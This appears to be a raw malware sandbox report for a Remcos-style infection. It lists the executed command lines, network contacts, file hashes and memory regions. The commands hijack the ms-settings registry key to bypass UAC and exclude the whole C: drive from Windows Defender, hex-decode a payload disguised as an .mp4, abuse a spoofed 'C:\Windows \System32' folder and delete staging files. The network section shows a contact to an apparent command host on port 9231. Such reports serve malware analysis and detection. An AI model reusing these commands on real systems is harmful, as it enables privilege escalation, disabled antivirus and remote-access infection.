C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "

C:\Users\Public\alpha.exe

"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\ger.exe

C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Users\Public\kn.exe

C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\Ping_c.mp4" "C:\\Users\\Public\\Libraries\\Ping_c.pif" 12

C:\Windows \System32\per.exe

"C:\\Windows \\System32\\per.exe"

C:\Windows\system32\SystemSettingsAdminFlows.exe

"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe

C:\Windows\system32\taskkill.exe

taskkill /F /IM SystemSettings.exe

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\Libraries\Ping_c.pif

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\per.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\Ping_c.mp4" / A / F / Q / S

C:\Users\Public\alpha.exe

C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S

C:\Windows\SysWOW64\extrac32.exe

C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Public\Libraries\Ping_c.pif C:\\Users\\Public\\Libraries\\Njfqueit.PIF

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 3.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 cxcs.microsoft.net udp
BE 104.68.66.114:443 cxcs.microsoft.net tcp
US 8.8.8.8:53 26.35.223.20.in-addr.arpa udp
US 8.8.8.8:53 114.66.68.104.in-addr.arpa udp
US 8.8.8.8:53 onedrive.live.com udp
US 13.107.137.11:443 onedrive.live.com tcp
US 13.107.137.11:443 onedrive.live.com tcp
US 8.8.8.8:53 p3wcgq.dm.files.1drv.com udp
US 13.107.42.12:443 p3wcgq.dm.files.1drv.com tcp
US 8.8.8.8:53 11.137.107.13.in-addr.arpa udp
US 8.8.8.8:53 12.42.107.13.in-addr.arpa udp
US 8.8.8.8:53 www.pentegrasystem.com udp
HU 83.137.157.105:9231 www.pentegrasystem.com tcp
US 8.8.8.8:53 105.157.137.83.in-addr.arpa udp
US 8.8.8.8:53 geoplugin.net udp
NL 178.237.33.50:80 geoplugin.net tcp
US 8.8.8.8:53 50.33.237.178.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 18.31.95.13.in-addr.arpa udp
US 8.8.8.8:53 99.58.20.217.in-addr.arpa udp
US 52.111.229.48:443 tcp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 123.10.44.20.in-addr.arpa udp

Files

C:\Users\Public\alpha.exe

MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

C:\Users\Public\kn.exe

MD5 bd8d9943a9b1def98eb83e0fa48796c2
SHA1 70e89852f023ab7cde0173eda1208dbb580f1e4f
SHA256 8de7b4eb1301d6cbe4ea2c8d13b83280453eb64e3b3c80756bbd1560d65ca4d2
SHA512 95630fdddad5db60cc97ec76ee1ca02dbb00ee3de7d6957ecda8968570e067ab2a9df1cc07a3ce61161a994acbe8417c83661320b54d04609818009a82552f7b

C:\Users\Public\xkn.exe

MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

memory/4856-36-0x00000150C3860000-0x00000150C3882000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hap5jxoc.2zq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Public\ger.exe

MD5 227f63e1d9008b36bdbcc4b397780be4
SHA1 c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256 c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9

C:\Users\Public\Ping_c.mp4

MD5 087c460218a775c55d49c425a2e2c8bf
SHA1 051b66d913eb97455ae65ed377f19766c739675a
SHA256 4b3d1b31395c3babbdbc78210b79d77e745b5fbac9eb24c4018d87524c9393f2
SHA512 5a505c646eb798b974c5c90831ea1b67cd2d56d134ac52c597dab250cde8b18870a09748ab5f9b1f8f154378948b86ae590d3937bfeb09f10b29b0ce70a210d4

C:\Windows \System32\per.exe

MD5 85018be1fd913656bc9ff541f017eacd
SHA1 26d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256 c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA512 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459

C:\Users\Public\Libraries\Ping_c.pif

MD5 69e06033de99a2a903f1be2222d9a649
SHA1 d2e2bae5415ed8e61cc9981151fb276f9fc17b18
SHA256 4f85cd88e11bdb421b4a6949fbd42886e0aec09b7f43b651db8c3531be33ff51
SHA512 d437c81534b0b9e3da2c0a333327ce8cad53859b57847d7f9ccc53ba631ca311d198372b4438b843578e4c6c6cf662fae06b70bde2a4f8aaa949126f4cf8c033

memory/2600-74-0x0000000000400000-0x00000000004E8000-memory.dmp

memory/2600-81-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-83-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-84-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-85-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-87-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-86-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-89-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-94-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-95-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

C:\ProgramData\remcos\logs.dat

MD5 09897e07a4eb7cfb696df8bcbebe861e
SHA1 fcb545b0a13884dcd8a790e122c057a318f5bfd8
SHA256 48d6772732fe22fd3e2f386ef6f53b864ddf1c5450a430dfe52124db6e1410b3
SHA512 3b7117034d1a28dc53ddfeefa08e0d488a3003d5bbb1364c2c37a6f5643e978ab82a1ca303267738e600071d398b57e6c37523482408b89d62b7e684d55abebc

memory/2600-105-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-117-0x000000002D8C0000-0x000000002E8C0000-memory.dmp

memory/2600-118-0x000000002D8C0000-0x000000002E8C0000-memory.dmp